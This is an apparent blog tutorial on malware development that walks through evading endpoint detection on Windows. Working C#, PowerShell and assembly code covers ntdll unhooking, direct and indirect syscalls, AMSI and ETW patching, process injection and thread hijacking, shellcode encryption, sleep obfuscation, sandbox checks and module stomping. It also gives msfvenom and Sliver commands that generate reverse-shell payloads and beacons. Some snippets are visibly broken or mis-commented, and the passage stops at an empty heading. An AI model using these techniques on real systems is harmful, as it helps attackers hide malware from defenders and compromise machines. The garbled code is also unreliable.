ᛉ Yggdrasil

Malware development

EDR Evasion & Unhooking

15 Sep 2026 · 5,061 words · 23 min

Contents

Legend: [WIN] = Windows target | [ATK] = Attacker machine | [C2] = Run via C2/Sliver | [ASM] = Assembly/low-level | [OPSEC] = High stealth technique


1. Introduction — How EDRs Work

What it means: An Endpoint Detection & Response (EDR) solution is far more advanced than a traditional AV. It monitors process behavior in real time, correlates events across the kernel and userland, and uses ML/heuristics to detect malicious activity — not just signatures. Understanding WHERE and HOW an EDR catches you is the foundation of every evasion technique.

Attack surface an EDR monitors:

┌─────────────────────────────────────────────────────────────┐  
│ KERNEL SPACE                                                │  
│ ┌───────────────────────────────────────────────────────┐   │  
│ │ Kernel Callbacks:                                     │   │  
│ │ PsSetCreateProcessNotifyRoutine (process create)      │   │  
│ │ PsSetCreateThreadNotifyRoutine (thread create)        │   │  
│ │ PsSetLoadImageNotifyRoutine (DLL/image load)          │   │  
│ │ ObRegisterCallbacks (handle operations)               │   │  
│ │ Minifilter Driver (file system ops)                   │   │  
│ └───────────────────────────────────────────────────────┘   │  
│                                                         │   │  
│ USER SPACE ▼                                                │  
│ ┌───────────────────────────────────────────────────────┐   │  
│ │ Userland Hooks (in ntdll.dll):                        │   │  
│ │ NtCreateProcess, NtAllocateVirtualMemory,             │   │  
│ │ NtWriteVirtualMemory, NtCreateThread, etc.            │   │  
│ │                                                       │   │  
│ │ ETW (Event Tracing for Windows)                       │   │  
│ │ AMSI (Antimalware Scan Interface)                     │   │  
│ │ CLR Profiling (for .NET assemblies)                   │   │  
│ └───────────────────────────────────────────────────────┘   │  
└─────────────────────────────────────────────────────────────┘

EDR Detection Methods

Method What it Catches Bypass
Userland Hooks API calls (NtAllocVM, NtCreateThread) Unhooking, Direct Syscalls
Kernel Callbacks Process/thread/DLL creation Kernel exploits (risky), stealthy injection
ETW .NET reflection, PowerShell, WMI ETW patching
AMSI PowerShell/VBScript/JScript content AMSI bypass
Signature Known byte patterns in memory/disk Encryption, obfuscation, packing
Behavioral Suspicious process chains PPID spoofing, LOLBins
Memory Scanning Shellcode in RWX memory Module stomping, sleep masking
Network C2 IOCs, JA3 hashes, beaconing Domain fronting, malleable C2

2. Userland Hooking & Detection Mechanisms

What it means: When an EDR installs, it injects its own DLL into every process. This DLL overwrites the first few bytes of sensitive NT API functions in ntdll.dll with a JMP instruction that redirects calls to the EDR's inspection code. When your shellcode calls NtAllocateVirtualMemory, it actually hits the EDR first — which scans arguments and decides to allow or block the call.

Normal call flow (no EDR):
Your code → NtAllocateVirtualMemory (ntdll) → syscall stub → kernel

Hooked call flow (EDR present):
Your code → NtAllocateVirtualMemory → JMP edrhook.dll → EDR inspection
↓
[ALLOW] → syscall stub → kernel
[BLOCK] → terminate process

Detect Hooks in ntdll.dll

// C# — check if ntdll functions are hooked
// First byte of clean syscall stub = 0x4C (MOV R10, RCX)
// First byte of hooked function = 0xE9 (JMP) or 0xFF (JMP indirect)

using System;
using System.Runtime.InteropServices;

class HookDetect {
    [DllImport("kernel32.dll")]
    static extern IntPtr GetModuleHandle(string lpModuleName);
    [DllImport("kernel32.dll")]
    static extern IntPtr GetProcAddress(IntPtr hModule, string proc);

    static void Main() {
        IntPtr ntdll = GetModuleHandle("ntdll.dll");
        string[] funcs = {
            "NtAllocateVirtualMemory", "NtWriteVirtualMemory",
            "NtCreateThreadEx", "NtOpenProcess", "NtProtectVirtualMemory"
        };
        foreach (var f in funcs) {
            IntPtr addr = GetProcAddress(ntdll, f);
            byte first = Marshal.ReadByte(addr);
            string status = (first == 0xE9 || first == 0xFF) ? "HOOKED 🔴" : "CLEAN 🟢";
            Console.WriteLine($"{f}: {status} (0x{first:X2})");
        }
    }
}
# Python via ctypes — quick hook check
import ctypes, ctypes.wintypes

ntdll = ctypes.WinDLL("ntdll.dll")
funcs = ["NtAllocateVirtualMemory", "NtWriteVirtualMemory",
         "NtCreateThreadEx", "NtOpenProcess"]

for f in funcs:
    addr = ctypes.cast(getattr(ntdll, f), ctypes.c_void_p).value
    first_byte = ctypes.cast(addr, ctypes.POINTER(ctypes.c_byte))
    hooked = first_byte in [0xE9, 0xFF, 0x90]
    print(f"{f}: {'HOOKED' if hooked else 'CLEAN'} ({hex(first_byte & 0xFF)})")

3. API Unhooking Techniques

What it means: Since EDR hooks are placed in the in-memory copy of ntdll.dll (not the file on disk), you can restore the original clean bytes by: 1. Reading a fresh copy of ntdll.dll directly from disk 2. Mapping it into memory 3. Overwriting the hooked in-memory version with the clean bytes

The result: EDR hooks are removed and your API calls go directly to kernel syscalls.


3.1 Full ntdll Unhooking — Fresh Disk Copy

using System;
using System.IO;
using System.Runtime.InteropServices;

class Unhook {
    [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess();
    [DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string n);
    [DllImport("kernel32.dll")] static extern bool VirtualProtect(
        IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);

    static void UnhookNtdll() {
        // Read clean ntdll from disk
        byte[] cleanDll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");

        // Parse PE headers to find .text section
        IntPtr hookedNtdll = GetModuleHandle("ntdll.dll");

        // Get DOS header e_lfanew offset → PE header
        int e_lfanew = Marshal.ReadInt32((IntPtr)(hookedNtdll.ToInt64() + 0x3C));
        IntPtr ntHeader = (IntPtr)(hookedNtdll.ToInt64() + e_lfanew);

        // Get .text section (first section)
        // SizeOfHeaders → first section header
        int sizeOfOptHeader = Marshal.ReadInt16((IntPtr)(ntHeader.ToInt64() + 0x14));
        IntPtr sectionHeader = (IntPtr)(ntHeader.ToInt64() + 0x18 + sizeOfOptHeader);

        // VirtualAddress and SizeOfRawData for .text
        uint textVA   = (uint)Marshal.ReadInt32((IntPtr)(sectionHeader.ToInt64() + 0x0C));
        uint textRaw  = (uint)Marshal.ReadInt32((IntPtr)(sectionHeader.ToInt64() + 0x10));
        uint rawOffset= (uint)Marshal.ReadInt32((IntPtr)(sectionHeader.ToInt64() + 0x14));

        IntPtr textAddr = (IntPtr)(hookedNtdll.ToInt64() + textVA);

        // Make memory writable
        VirtualProtect(textAddr, (UIntPtr)textRaw, 0x40, out uint oldProt);  // PAGE_EXECUTE_READWRITE

        // Overwrite hooked .text with clean bytes from disk
        Marshal.Copy(cleanDll, (int)rawOffset, textAddr, (int)textRaw);

        // Restore original protection
        VirtualProtect(textAddr, (UIntPtr)textRaw, oldProt, out _);

        Console.WriteLine("[+] ntdll.dll unhooked successfully");
    }

    static void Main() => UnhookNtdll();
}

3.2 Selective Function Unhooking

// Restore only specific hooked functions instead of entire .text section
// Less noisy — only touches functions you need

[DllImport("kernel32.dll")] static extern IntPtr LoadLibraryExA(
    string name, IntPtr h, uint flags);
// DONT_RESOLVE_DLL_REFERENCES = 0x1, LOAD_LIBRARY_AS_DATAFILE = 0x2

static void UnhookFunction(string funcName) {
    // Load a fresh UNMAPPED copy of ntdll from disk
    IntPtr freshNtdll = LoadLibraryExA(
        @"C:\Windows\System32\ntdll.dll", IntPtr.Zero, 0x1);

    IntPtr hookedNtdll = GetModuleHandle("ntdll.dll");

    // Get address in both copies
    IntPtr hookedAddr = GetProcAddress(hookedNtdll, funcName);
    IntPtr freshAddr  = GetProcAddress(freshNtdll, funcName);

    // Read 8 bytes from the fresh (clean) copy
    byte[] cleanBytes = new byte;[1]
    Marshal.Copy(freshAddr, cleanBytes, 0, 8);

    // Write clean bytes over the hooked function
    VirtualProtect(hookedAddr, (UIntPtr)8, 0x40, out uint oldProt);
    Marshal.Copy(cleanBytes, 0, hookedAddr, 8);
    VirtualProtect(hookedAddr, (UIntPtr)8, oldProt, out _);
}

3.3 Perun's Fart / Halo's Gate (Handle Hooked Functions)

// If ntdll function IS hooked and you can't unhook:
// Scan neighboring syscall stubs to find the correct syscall number

// Each syscall stub increments by 1:
// NtAccessCheck = SSN 0
// NtWorkerFactoryWorkerReady = SSN 1
// ...
// NtAllocateVirtualMemory = SSN X

// If NtAllocateVirtualMemory is hooked (starts with JMP):
// Look at NtAllocateVirtualMemory-1 and +1 neighbors
// Their SSN ± 1 = our SSN
// Use the recovered SSN in direct syscall


4. Direct Syscalls

What it means: Instead of calling NtAllocateVirtualMemory in ntdll.dll (which may be hooked), you directly execute the syscall instruction with the correct System Service Number (SSN) in your own code. This completely bypasses all userland hooks because you never touch ntdll.dll at all — your code goes straight to the kernel.

Direct Syscall flow:
Your code → your own syscall stub (correct SSN) → kernel (ntdll.dll is never called → hooks never triggered)


4.1 Manual Syscall Stub (x64 Assembly)

; x64 MASM / inline assembly
; NtAllocateVirtualMemory syscall stub
; SSN for NtAllocateVirtualMemory = 0x18 (varies by OS version!)

NtAllocateVirtualMemory PROC
    mov r10, rcx          ; Windows x64 calling convention
    mov eax, 0x18         ; syscall service number (SSN)
    syscall               ; trap to kernel
    ret
NtAllocateVirtualMemory ENDP

4.2 SysWhispers3 — Auto-Generated Syscalls

# SysWhispers3 auto-generates syscall stubs for all NT functions
# Supports x86, x64, WoW64
# Handles SSN resolution at runtime (dynamic — avoids hardcoded SSNs)
# https://github.com/klezVirus/SysWhispers3

# Install
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip install -r requirements.txt

# Generate stubs for specific functions
python3 syswhispers.py \
  --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtOpenProcess \
  --out-file syscalls \
  --compiler msvc

# Generates: syscalls.h, syscalls.c, syscallsstubs.x64.asm

# Usage in your C project:
# #include "syscalls.h"
# NtAllocateVirtualMemory(hProcess, &addr, 0, &size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

# Modes:
python3 syswhispers.py --functions All --out-file syscalls --method embedded   # embed SSN resolver
python3 syswhispers.py --functions All --out-file syscalls --method jumper     # indirect via jmp
python3 syswhispers.py --functions All --out-file syscalls --method egg-hunter # egg hunter method

4.3 HellsGate — Dynamic SSN Resolution

// Hell's Gate — dynamically resolve SSNs at runtime
// Reads from ntdll.dll in memory (not hardcoded) — works across Windows versions

// Syscall stub pattern in memory:
// 4C 8B D1    = MOV R10, RCX
// B8 XX 00 00 = MOV EAX, SSN      ← SSN is at offset +4
// 0F 05       = SYSCALL
// C3          = RET

static uint GetSSN(string funcName) {
    IntPtr ntdll = GetModuleHandle("ntdll.dll");
    IntPtr funcAddr = GetProcAddress(ntdll, funcName);

    // Read bytes to find the SSN
    byte[] stub = new byte;[2]
    Marshal.Copy(funcAddr, stub, 0, 10);

    // Check if not hooked (first byte = 0x4C)
    if (stub == 0x4C && stub == 0xB8) {[3]
        // SSN is at bytes  and[4][5]
        uint ssn = (uint)(stub[4] | (stub[5] << 8));
        return ssn;
    }
    // If hooked → use Halo's Gate (scan neighbors)
    throw new Exception($"{funcName} is hooked — use Halo's Gate");
}

5. Indirect Syscalls

What it means: Direct syscalls have a detectable IOC — when a security tool sees a syscall instruction executing from memory that's NOT inside ntdll.dll, it's immediately suspicious (legitimate code never does this). Indirect syscalls fix this by jumping INTO ntdll.dll at the syscall instruction itself, so the syscall appears to originate from ntdll.

Direct syscall IOC:
Your shellcode page: MOV EAX,0x18 → SYSCALL ← suspicious (RWX page, not ntdll)

Indirect syscall (clean):
Your code: MOV EAX,0x18 → JMP ntdll!NtAllocateVirtualMemory+0x12 (the SYSCALL instruction)
Stack shows: syscall at ntdll address → looks legitimate


; Indirect syscall stub (x64 MASM)
; Set up SSN, then JMP into ntdll at the syscall instruction

extern SyscallAddress: QWORD  ; address of "syscall; ret" inside ntdll

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, SSN              ; SSN resolved dynamically
    jmp QWORD PTR [SyscallAddress]  ; jump to ntdll's "syscall; ret"
NtAllocateVirtualMemory ENDP
// Find the address of "syscall; ret" bytes inside ntdll function
static IntPtr FindSyscallInstruction(string funcName) {
    IntPtr ntdll = GetModuleHandle("ntdll.dll");
    IntPtr funcAddr = GetProcAddress(ntdll, funcName);

    // Scan for 0F 05 C3 (syscall; ret) within 32 bytes of function start
    for (int i = 0; i < 32; i++) {
        byte b0 = Marshal.ReadByte(funcAddr, i);
        byte b1 = Marshal.ReadByte(funcAddr, i + 1);
        byte b2 = Marshal.ReadByte(funcAddr, i + 2);
        if (b0 == 0x0F && b1 == 0x05 && b2 == 0xC3) {
            return IntPtr.Add(funcAddr, i);  // return address of syscall instruction
        }
    }
    throw new Exception("syscall instruction not found");
}

6. AMSI Bypass

What it means: AMSI (Antimalware Scan Interface) is a Windows API that allows AV/EDR to scan in-memory content before it executes — PowerShell scripts, VBScript, .NET assemblies loaded via reflection, and more. Every PowerShell command goes through AMSI. It must be disabled/patched before running any offensive PowerShell tools (PowerView, Rubeus, etc.) or reflectively loading .NET assemblies.


6.1 Classic AMSI Patch (amsi.dll)

# Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN (0x80070057)
# Works by overwriting the first few bytes of AmsiScanBuffer with a return stub

$a = [Ref].Assembly.GetTypes() | ForEach-Object {
    if ($_.Name -like "*iUtils*") { $_ }
}
$b = $a.GetFields(
    [Reflection.BindingFlags]'NonPublic,Static') |
    ForEach-Object { if ($_.Name -like "*Context*") { $_ } }
$c = $b.GetValue($null)
[IntPtr]$ptr = $c
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
# Alternative — direct memory patch via P/Invoke
# Overwrites AmsiScanBuffer with: xor eax,eax; ret (returns 0 = clean)

$patch = [byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
# MOV EAX, 0x80070057 (E_INVALIDARG) ; RET
# AMSI interprets invalid args as "not scanned" = clean

$amsi = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (Add-Type -MemberDefinition '
        [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr h, string p);
        [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string n);
        [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr a, UIntPtr s, uint p, out uint o);
    ' -Name W -PassThru),
    [IntPtr]
)

6.2 AMSI Bypass via Reflection (Obfuscated)

# Obfuscated to avoid signature on the bypass itself
# Split strings to avoid AMSI catching "AmsiScanBuffer"

$w = 'Am' + 'si'
$x = 'Sc' + 'an' + 'Bu' + 'ff' + 'er'
$y = [System.Runtime.InteropServices.Marshal]

$lib = [Ref].Assembly.GetType(
    ('System.Man' + 'agement.Auto' + 'mation.' + $w + 'Utils'))
$field = $lib.GetField(
    ($w + 'Con' + 'text'), [Reflection.BindingFlags]'NonPublic,Static')
$ctx = $field.GetValue($null)

$ptr = [System.IntPtr]$ctx
$buf = [Int32[]]@(0)
$y::Copy($buf, 0, $ptr, 1)
Write-Host "[+] AMSI patched"

6.3 AMSI Bypass via Matt Graeber's Method

# Force an error in AmsiInitialize — AMSI won't initialize for the session
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') |
    ?{$_} |
    %{$_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)}

6.4 AMSI Bypass in C# (.NET Reflection)

// Bypass AMSI before loading a .NET assembly via reflection
using System;
using System.Reflection;

static void DisableAmsi() {
    // Get the amsiInitFailed field from AmsiUtils
    var assembly = typeof(System.Management.Automation.Runspaces.Runspace).Assembly;
    var amsiUtils = assembly.GetType("System.Management.Automation.AmsiUtils");
    var field = amsiUtils.GetField("amsiInitFailed",
        BindingFlags.NonPublic | BindingFlags.Static);
    field.SetValue(null, true);
    Console.WriteLine("[+] AMSI disabled");
}

7. ETW Patching

What it means: ETW (Event Tracing for Windows) is the telemetry backbone of Windows. It feeds data to AV/EDR, Sysmon, and Windows Defender. The EtwEventWrite function in ntdll.dll is responsible for writing ETW events. Patching it to immediately return prevents any telemetry from being written — blinding tools that rely on ETW (Defender, some EDRs).


7.1 Patch EtwEventWrite (Null Out)

// Patch EtwEventWrite to return immediately (ret = 0xC3)
// This prevents EDR from receiving ETW events from your process

[DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr h, string p);
[DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string n);
[DllImport("kernel32.dll")] static extern bool VirtualProtect(
    IntPtr addr, UIntPtr size, uint prot, out uint oldProt);

static void PatchEtw() {
    IntPtr ntdll     = GetModuleHandle("ntdll.dll");
    IntPtr etwAddr   = GetProcAddress(ntdll, "EtwEventWrite");

    byte[] patch = { 0xC3 };   // RET — function returns immediately doing nothing

    VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out uint oldProt);
    Marshal.Copy(patch, 0, etwAddr, 1);
    VirtualProtect(etwAddr, (UIntPtr)1, oldProt, out _);

    Console.WriteLine("[+] ETW patched");
}

7.2 ETW Patch via PowerShell

# PowerShell ETW patch
$e = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RQB0AHcARQB2AGUAbgB0AFcAcgBpAHQAZQA='))
# = "EtwEventWrite"

$n = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgB0AGQAbABsAA=='))
# = "ntdll"

$patch = [byte[]] (0xC3)

$addr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer # ...
# (abbreviated — typically uses Add-Type P/Invoke to call VirtualProtect + memcpy)

7.3 Disable .NET ETW Provider

// Disable CLR ETW provider to prevent .NET assembly loading events
// Useful when using execute-assembly or in-process .NET loading

var clrEtw = typeof(object).Assembly.GetType(
    "System.Diagnostics.Tracing.EventPipeController");
if (clrEtw != null) {
    var field = clrEtw.GetField("s_controllerInstance",
        BindingFlags.Static | BindingFlags.NonPublic);
    field?.SetValue(null, null);
}

8. Process Injection Techniques

What it means: Process injection places your shellcode inside a legitimate process (explorer.exe, svchost.exe, notepad.exe) so the malicious behavior appears to come from a trusted process. Different injection techniques have different stealth profiles and detection rates depending on what the EDR watches.


8.1 Classic VirtualAlloc Injection (Noisy — Baseline)

// AVOID in EDR environments — very well-detected
// Shown as baseline only

[DllImport("kernel32.dll")] static extern IntPtr OpenProcess(uint access, bool inherit, int pid);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(
    IntPtr hProc, IntPtr addr, uint size, uint type, uint protect);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(
    IntPtr hProc, IntPtr addr, byte[] buf, uint size, out int written);
[DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(
    IntPtr hProc, IntPtr sec, uint stackSize, IntPtr startAddr,
    IntPtr param, uint flags, out uint tid);

static void InjectClassic(int targetPid, byte[] shellcode) {
    IntPtr hProc = OpenProcess(0x001F0FFF, false, targetPid);  // PROCESS_ALL_ACCESS
    IntPtr mem   = VirtualAllocEx(hProc, IntPtr.Zero,
        (uint)shellcode.Length, 0x3000, 0x40);                 // MEM_COMMIT, PAGE_EXECUTE_READWRITE
    WriteProcessMemory(hProc, mem, shellcode, (uint)shellcode.Length, out _);
    CreateRemoteThread(hProc, IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out _);
}

8.2 APC Injection (Early Bird)

// Early Bird APC — inject BEFORE the process main thread runs (stealthier)
// 1. Create target process in SUSPENDED state
// 2. Allocate + write shellcode
// 3. Queue an APC to the main thread
// 4. Resume thread → APC runs shellcode before any user code

[DllImport("kernel32.dll")] static extern bool CreateProcess(
    string app, string cmdLine, IntPtr procAttr, IntPtr threadAttr,
    bool inherit, uint flags, IntPtr env, string dir,
    ref STARTUPINFO si, out PROCESS_INFORMATION pi);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(
    IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr hThread);

static void EarlyBirdInject(byte[] shellcode) {
    STARTUPINFO si = new STARTUPINFO();
    PROCESS_INFORMATION pi;
    uint CREATE_SUSPENDED = 0x4;

    // Create notepad.exe in suspended state
    CreateProcess(@"C:\Windows\System32\notepad.exe",
        null, IntPtr.Zero, IntPtr.Zero, false,
        CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);

    // Allocate + write shellcode into the new process
    IntPtr mem = VirtualAllocEx(pi.hProcess, IntPtr.Zero,
        (uint)shellcode.Length, 0x3000, 0x40);
    WriteProcessMemory(pi.hProcess, mem, shellcode, (uint)shellcode.Length, out _);

    // Queue APC to suspended main thread
    QueueUserAPC(mem, pi.hThread, IntPtr.Zero);

    // Resume thread → APC fires → shellcode runs
    ResumeThread(pi.hThread);
}

8.3 Process Hollowing

// Create legitimate process (suspended) → unmap its memory → write shellcode → resume
// The process looks like svchost.exe / explorer.exe to Task Manager

// Steps:
// 1. CreateProcess (SUSPENDED) — legit binary
// 2. NtUnmapViewOfSection — hollow out its memory
// 3. VirtualAllocEx — allocate new memory at original base
// 4. WriteProcessMemory — write your PE/shellcode
// 5. SetThreadContext — update EIP/RIP to new entry point
// 6. ResumeThread — execute

[DllImport("ntdll.dll")] static extern uint NtUnmapViewOfSection(
    IntPtr hProc, IntPtr baseAddr);
[DllImport("kernel32.dll")] static extern bool GetThreadContext(
    IntPtr hThread, ref CONTEXT ctx);
[DllImport("kernel32.dll")] static extern bool SetThreadContext(
    IntPtr hThread, ref CONTEXT ctx);

8.4 Module Overloading (Phantom DLL)

// Load a legitimate signed DLL (e.g., xpsservices.dll) that is NOT already loaded
// Overwrite its .text section with shellcode
// The shellcode now appears to live inside a signed, legitimate DLL

// 1. Find a legitimate DLL not currently loaded by the process
// 2. LoadLibrary to map it
// 3. Overwrite its .text section with shellcode
// 4. Create a thread starting at the shellcode offset inside the "legitimate" DLL

// Memory shows: shellcode lives inside a signed Microsoft DLL → trusted by EDR

8.5 Thread Hijacking

// Suspend a thread in an existing process → overwrite its RIP with shellcode address → resume

[DllImport("kernel32.dll")] static extern IntPtr OpenThread(
    uint access, bool inherit, uint tid);
[DllImport("kernel32.dll")] static extern uint SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")] static extern bool GetThreadContext(IntPtr h, ref CONTEXT64 ctx);
[DllImport("kernel32.dll")] static extern bool SetThreadContext(IntPtr h, ref CONTEXT64 ctx);

static void HijackThread(int pid, uint tid, byte[] shellcode) {
    IntPtr hProc   = OpenProcess(0x001F0FFF, false, pid);
    IntPtr mem     = VirtualAllocEx(hProc, IntPtr.Zero,
        (uint)shellcode.Length, 0x3000, 0x40);
    WriteProcessMemory(hProc, mem, shellcode, (uint)shellcode.Length, out _);

    IntPtr hThread = OpenThread(0x001F03FF, false, tid);
    SuspendThread(hThread);

    CONTEXT64 ctx = new CONTEXT64 { ContextFlags = 0x10001B };  // CONTEXT_FULL
    GetThreadContext(hThread, ref ctx);
    ctx.Rip = (ulong)mem.ToInt64();  // redirect RIP to shellcode
    SetThreadContext(hThread, ref ctx);

    ResumeThread(hThread);
}

9. Payload Obfuscation & Encryption

What it means: Modern EDRs scan memory for known shellcode byte patterns (Cobalt Strike stagers, msfvenom payloads, etc.). Encrypting and obfuscating your payload ensures no plaintext shellcode bytes exist in memory until the moment of execution — and even then, only in a single specific memory region.


9.1 XOR Encryption

// Simple XOR encrypt/decrypt shellcode
static byte[] XorEncrypt(byte[] data, byte key) {
    byte[] result = new byte[data.Length];
    for (int i = 0; i < data.Length; i++)
        result[i] = (byte)(data[i] ^ key);
    return result;
}

// Decrypt at runtime before injection
byte[] encryptedShellcode = { 0xA1, 0xB2, ... };   // pre-encrypted
byte xorKey = 0x41;
byte[] shellcode = XorEncrypt(encryptedShellcode, xorKey);
// Then allocate + inject

9.2 AES Encryption

using System.Security.Cryptography;

static byte[] AesDecrypt(byte[] ciphertext, byte[] key, byte[] iv) {
    using var aes = Aes.Create();
    aes.Key = key;   // 32 bytes for AES-256
    aes.IV  = iv;    // 16 bytes
    aes.Mode = CipherMode.CBC;
    aes.Padding = PaddingMode.PKCS7;

    using var decryptor = aes.CreateDecryptor();
    return decryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length);
}

// Usage:
byte[] key = Convert.FromBase64String("BASE64_KEY_HERE");
byte[] iv  = Convert.FromBase64String("BASE64_IV_HERE");
byte[] shellcode = AesDecrypt(encryptedPayload, key, iv);

9.3 Shellcode Encoding — Custom Encoder

# Python — custom encoder to avoid signature bytes
# Encode with a rolling XOR key (each byte changes the key)

def encode(shellcode):
    key = 0xAB
    encoded = []
    for b in shellcode:
        enc = b ^ key
        encoded.append(enc)
        key = (key + enc) & 0xFF   # rolling key — harder to detect
    return bytes(encoded)

# Decode in C# at runtime:
static byte[] RollingXorDecode(byte[] data, byte startKey) {
    byte[] result = new byte[data.Length];
    byte key = startKey;
    for (int i = 0; i < data.Length; i++) {
        result[i] = (byte)(data[i] ^ key);
        key = (byte)((key + data[i]) & 0xFF);
    }
    return result;
}

9.4 Stageless vs Staged Payloads

# Stageless — full shellcode in payload (no network fetch)
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=<IP> LPORT=4444 -f raw -o shellcode.bin

# Encrypt the output
python3 encrypt.py shellcode.bin output_enc.bin

# Staged — small stager fetches second stage from C2
msfvenom -p windows/x64/shell/reverse_tcp \
  LHOST=<IP> LPORT=4444 -f raw -o stager.bin

# Sliver — generate stageless beacon
sliver > generate beacon --mtls <IP>:443 --os windows \
  --arch amd64 --format shellcode --save /tmp/beacon.bin

# Encrypt with garble
sliver > generate beacon --mtls <IP>:443 --os windows \
  --arch amd64 --obfuscate --save /tmp/beacon_obf.exe

10. Sleep Obfuscation & Sandbox Evasion

What it means: EDRs and sandboxes scan memory during a beacon's sleep interval — when the beacon is idle, its memory is visible. Sleep obfuscation encrypts the beacon's own memory while it sleeps and decrypts it before waking. Sandbox evasion prevents payloads from executing in automated analysis environments.


10.1 Sleep Obfuscation Techniques

Ekko (by cracked5pider):
- Uses a ROP chain (CreateTimerQueueTimer) to encrypt beacon memory during sleep
- Beacon XOR-encrypts itself, sleeps, decrypts, continues
- AES/XOR while sleeping → no plaintext shellcode in memory at rest

Foliage:
- NtContinue-based sleep obfuscation
- Uses NtContinue ROP chain to transition to sleep state

Shellcode Fluctuation:
- Change memory protection (RWX → RW → RWX) and encrypt during sleep
- No executable memory while sleeping → evades memory scanners

// Simplified Ekko-style sleep with XOR encrypt-in-place
static void ObfuscatedSleep(int ms, IntPtr shellcodeBase, int shellcodeSize, byte key) {
    // Encrypt shellcode memory
    for (int i = 0; i < shellcodeSize; i++)
        Marshal.WriteByte(shellcodeBase, i,
            (byte)(Marshal.ReadByte(shellcodeBase, i) ^ key));

    // Change to non-executable while sleeping
    VirtualProtect(shellcodeBase, (UIntPtr)shellcodeSize, 0x04, out uint old);  // PAGE_READWRITE

    Thread.Sleep(ms);

    // Restore and decrypt
    VirtualProtect(shellcodeBase, (UIntPtr)shellcodeSize, old, out _);
    for (int i = 0; i < shellcodeSize; i++)
        Marshal.WriteByte(shellcodeBase, i,
            (byte)(Marshal.ReadByte(shellcodeBase, i) ^ key));
}

10.2 Sandbox Evasion

// Method 1: Check for user activity — sandboxes have no mouse movement
[DllImport("user32.dll")] static extern bool GetCursorPos(out POINT p);
static bool HasUserActivity() {
    GetCursorPos(out POINT p1);
    Thread.Sleep(2000);
    GetCursorPos(out POINT p2);
    return (p1.X != p2.X || p1.Y != p2.Y);   // real user moved mouse
}

// Method 2: Check system uptime — sandboxes are freshly spawned
static bool LongUptime() {
    return Environment.TickCount64 > (20 * 60 * 1000);   // > 20 minutes uptime
}

// Method 3: Check physical RAM — sandboxes have little RAM
static bool SufficientRam() {
    var memStatus = new MEMORYSTATUSEX { dwLength = 64 };
    GlobalMemoryStatusEx(ref memStatus);
    return memStatus.ullTotalPhys > (4UL * 1024 * 1024 * 1024);  // > 4GB RAM
}

// Method 4: Check CPU core count — sandboxes have 1-2 cores
static bool MultiCore() => Environment.ProcessorCount >= 4;

// Method 5: Domain-joined check — sandboxes rarely are
[DllImport("netapi32.dll")] static extern int NetGetJoinInformation(
    string server, out IntPtr name, out int type);
static bool IsDomainJoined() {
    NetGetJoinInformation(null, out _, out int type);
    return type == 3;   // NetSetupDomainName = 3
}

// Gate execution behind all checks
static bool SafeToRun() =>
    HasUserActivity() && LongUptime() && SufficientRam() &&
    MultiCore() && IsDomainJoined();

11. PE Stomping & Module Stomping

What it means: When a beacon runs, its memory must be executable (RX/RWX). EDRs scan all executable private memory for known shellcode signatures. Module stomping loads a legitimate DLL and overwrites its executable section with shellcode — the shellcode now lives inside a "signed legitimate module" rather than anonymous private memory.


11.1 Module Stomping

// 1. Load a legitimate but rarely-used DLL
IntPtr hModule = LoadLibraryA("xpsservices.dll");   // signed, trusted MS DLL
// OR: clbcatq.dll, diasymreader.dll, comsvcs.dll

// 2. Find the .text section of the loaded DLL
// Parse PE headers to get text section VA + size

// 3. Make the section writable
VirtualProtect(textSection, (UIntPtr)shellcode.Length, 0x40, out uint old);

// 4. Copy shellcode into the DLL's .text section
Marshal.Copy(shellcode, 0, textSection, shellcode.Length);

// 5. Restore RX permissions
VirtualProtect(textSection, (UIntPtr)shellcode.Length, 0x20, out _);  // PAGE_EXECUTE_READ

// 6. Create a thread at shellcode offset inside the "legitimate" DLL
CreateThread(IntPtr.Zero, 0, textSection, IntPtr.Zero, 0, out _);

// From EDR's perspective: thread is executing inside xpsservices.dll (signed) → trusted

11.2 DLL Hollowing

// Similar to process hollowing but for DLLs
// 1. Map a copy of the target DLL as a file (not as a loaded module)
// 2. Parse both copies (loaded vs file) and replace .text section
// 3. The in-memory DLL now contains your code but shows as legitimate on disk

12. LOLBins & Living Off the Land

What it means: LOLBins (Living Off the Land Binaries) are legitimate Windows binaries that can be abused to download, execute, or persist payloads. Using these avoids dropping custom executables to disk and blends with normal admin activity. Most are Microsoft-signed.


12.1 Execute Payloads via LOLBins

:: mshta — run JS/VBS
